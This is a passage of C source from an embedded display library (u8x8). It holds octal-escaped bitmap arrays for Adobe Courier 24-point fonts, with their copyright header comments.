"\0\0\0\0\0\0\0\60\20\20\60\60\240\340\300\300` \60\20\0\0\0\0\0\0\0\0\0\0\200\300" "f\42\63\21\21\20\20\21\63&L\370\340\0\0\0\0\0\0\0\0\0\17\70 @\300\200\200\200\200\200" "\300@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0`\60\20\60 `@`\60\0\0\0\0\0\0\0\0\0\0\0\0\4\4" "\374\60\30\10\14\4\4\14\10\70\340\0\0\0\0\0\0\0\0\0\0\0\200\200\377\200\200\0\0\0\0\0" "\200\200\377\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\4\14\30\60`@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\200\200" "\300@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0@`\60\30\14\4\0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\200\200" "\300@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0@`\60\30\14\14\30\60`@\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\200\200" "\300@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0`\60\20\60 `@`\60\0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\200\200" "\300@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0 pp \0\0 pp \0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\200\200" "\300@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\200\200\200\201\203\203\201\200\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 pp \0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300`" "\20\30\10\14\4\4\204\304l\70\30l\306\0\0\0\0\0\0\0\0\0\217\370`p\330\214\206\203\201\300" "@` \30\17\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\4\14\30\60`@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\4\4" "\374\0\0\0\0\0\0\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\77`\300\200\200\200\200\300" "`\60\377\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0@`\60\30\14\4\0\0\0\0\0\0\0\0\0\0\0\0\4\4\4" "\374\0\0\0\0\0\0\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\77`\300\200\200\200\200\300" "`\60\377\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\300`\60\30\60`\300\200\0\0\0\0\0\0\0\0\0\0\0\4\4\4" "\374\0\0\0\0\0\0\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\77`\300\200\200\200\200\300" "`\60\377\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0 pp \0\0\0 pp \0\0\0\0\0\0\0\0\0\0\0\4\4\4" "\374\0\0\0\0\0\0\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\77`\300\200\200\200\200\300" "`\60\377\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0@`\60\30\14\4\0\0\0\0\0\0\0\0\0\0\0\0\4\34" "t\304\4\0\0\0\0\0\4\304t\34\4\0\0\0\0\0\0\0\0\0\0\0\0\1\7\34p\300p\34" "\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0 \70/! \0\0\0\0\0\0\0\0\0" "\0\0\0\0\10\10\10\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377" "p\30\10\14\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\0\377\70`@\300\200\200\200\200" "\300@`\70\17\0\0\0\0\0\0\0 \77 \0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0@\340\340@\0\0\0\0@\340\340@\0\0\0\0\0\0\0\0\0\0\4\34" "t\304\4\0\0\0\0\0\4\304t\34\4\0\0\0\0\0\0\0\0\0\0\0\0\1\7\34p\300p\34" "\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0 \70/! \0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -Adobe-Courier-Medium-R-Normal--34-240-100-100-M-200-ISO10646-1 Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved. Glyphs: 95/873 BBX Build Mode: 3 */ const uint8_t u8x8_font_courR24_3x4_r[9124] U8X8_FONT_SECTION("u8x8_font_courR24_3x4_r") = " ~\3\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\360\370\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\1\377\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\340\341\340" "@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\360\360\360\360\0\0\0\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0" "\1\77\7\1\0\0\0\1\77\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\370\0\0\200\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\10\10\10\377\10\10\10\377\10\10\10\10\0\0\0\0\0\0\0\0\0\0\0\2\2\2\302\77\2\2\342\77" "\2\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300@` < `@\300\340\0\0\0\0\0\0\0\0\0\0\0\0\0" "\7\14\30\20\20\60 `@\301\200\0\0\0\0\0\0\0\0\0\0\0\0<\30\20\60 \340 \60" "\20\30\14\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300`\60\20\20\60`\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200" "\203\206LHH,&#\20\20\20\10\10\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\340 \340 \340\0\0\0\0\0\0\0\0\0\17\0" "\0\0\0\0\0\377\0\0\0\0\0\0\17\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\377\200\200" "\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \340 \0\0\0 \340 \0\0\0\0\0\0\0\0\0\377" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\300" "@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0 `\340 \0\0\0\0\0 \340` \0\0\0\0\0\0\0\0\3" "\36\360\200\0\0\0\0\0\200\360\36\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\16p\300p\16" "\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \340 \0\0\0\0\0 \340 \0\0\0\0\0\0\0\0\7\374" "\0\0\0\340\34\4\34\340\0\0\0\374\7\0\0\0\0\0\0\0\0\0\0\17\370\300>\3\0\0\0\3" ">\300\370\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0 `\340 \0\0\0\0\0 \340` \0\0\0\0\0\0\0\0\0\0\0" "\1\3\4\30\260\340\260\30\4\3\1\0\0\0\0\0\0\0\0\0\0\200\300\340\260\214\206\1\0\0\0\1" "\206\214\260\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0 `\340\240 \0\0\0\0\0 \240\340` \0\0\0\0\0\0\0\0\0\0\0" "\0\3\6\30p\300p\30\6\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\377\200\200" "\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340 \240\340\0\0\0\0\0\0\0\0\0\0\0\0\0" "\7\0\0\0\300`\60\34\6\3\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\230\216\203\201\200\200\200" "\200\200\200\376\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\360\20\20\20\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\10\10\10\10\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\14x\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\1\7<\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\34" "p\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\6\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\20\20\20\20\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\10\10\10\17\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\340\60\30\60\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\14\7\1\0\0\0\0\0\1\7\14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0 \0" "\0\0\0\0\0\0\0\0\4\14\30\60`@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\10\10\14\4\4\4\14\10\70\340\0\0\0\0\0\0\0\0\0\0\0\0|\306\202\203\201\201\201\201\301A" "c\377\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\20\20\20\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377" "`\30\10\14\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\200\200\200\377\30`@\300\200\200\200\200" "\300@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "p\30\10\14\4\4\4\14\10\10\30|\0\0\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\300" "@@ \60\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\20\20\360\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\14\10\30`\377\0\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\200\300" "@`\30\377\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\0\17\71aA\301\201\201\201\201\201" "\301Aa!\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\340\60\20\20\20\20 \0\0\0\0\0\0\0\0\0\0\0\4" "\4\4\4\377\4\4\4\4\4\4\4\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\377\200\200\200\200" "\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\14\10\30`\374\4\4\4\0\0\0\0\0\0\0\17\70`@\300\200\200\200\200\300" "@`\30\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \60\20\34\7\0\0\0\0" "\0\0\0\0\0\20\20\20\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377`\30\10\14\4\4\14\10\70\340\0\0\0\0\0\0\0\0\0\0\0\200\200\377\200\200\0\0\0\0\0" "\200\200\377\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\4\4\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\377\200\200" "\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\4\4\4\4\4\4\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \60\20\34\7\0\0\0\0\0\0" "\0\0\0\0\0\0\20\20\20\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\377\0\0\200\300d\64\34\14\4\4\0\0\0\0\0\0\0\0\0\0\200\200\200\377\1\1\3\6\14\30" "\260\340\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\20\20\20\20\20\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\377\200\200" "\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\4\374\60" "\10\4\4\14\30\360\60\10\4\4\14\30\360\0\0\0\0\0\0\0\200\200\377\200\200\0\0\0\0\377\200\200" "\0\0\0\0\377\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\4" "\374`\30\10\14\4\4\14\10\70\340\0\0\0\0\0\0\0\0\0\0\0\200\200\377\200\200\0\0\0\0\0" "\200\200\377\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\200\200" "\300@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\10\10\370" "`\30\10\14\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\0\377\30`@\300\200\200\200\200" "\300@`\70\17\0\0\0\0\0\0\0 \77 \0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\14\10\30p\370\10\10\10\0\0\0\0\0\0\0\17\70`@\300\200\200\200\200\300" "@`\70\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \77 \0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\4\4\4\374`\20\30\10\14\4\4\4\14\10\0\0\0\0\0\0\0\0\0\200\200\200\200\377\200\200\200\200" "\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "p\330\210\214\4\4\4\14\10\30<\0\0\0\0\0\0\0\0\0\0\0\0\370`@@\301\201\201\201\303" "Bf<\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\4" "\4\377\4\4\4\4\4\4\4\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77`\300\200\200\200\200" "\300@` \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\4\4" "\374\0\0\0\0\0\0\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\77`\300\200\200\200\200\300" "@\60\377\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\4\14" "|\304\4\0\0\0\0\0\4\304|\14\4\4\0\0\0\0\0\0\0\0\0\0\0\1\17\70\340\200\340\70" "\17\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\14\374" "\4\4\0\0\300@\300\0\0\4\4\374\14\4\0\0\0\0\0\0\0\0\0\1\77\340\60\36\3\0\3\36" "\60\340\77\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\14" "\34\64d\300\200\0\200\300d\64\34\14\4\0\0\0\0\0\0\0\0\0\200\300\340\260\230\14\7\3\7\14" "\230\260\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\34" "t\304\4\0\0\0\0\0\4\304t\34\4\0\0\0\0\0\0\0\0\0\0\0\0\1\7\34p\300p\34" "\7\1\0\0\0\0\0\0\0\0\0\0\0\0 \70/! \0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "<\4\4\4\4\204\304d\64\34\14\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\230\214\206\203\200\200" "\200\200\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\340\60\30\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\200\300\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\376\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\14\10\10\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\10\30\60\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\177\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\3\1" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\10\14\7\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "` \60\60`@\300\200\0\200\300`\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -Adobe-Courier-Medium-R-Normal--34-240-100-100-M-200-ISO10646-1 Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved. Glyphs: 18/873 BBX Build Mode: 3 */ const uint8_t u8x8_font_courR24_3x4_n[2596] U8X8_FONT_SECTION("u8x8_font_courR24_3x4_n") = " :\3\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\6\4\204\314x\37x\314\204\4\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\3\0\0\0\0\0" "\3\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 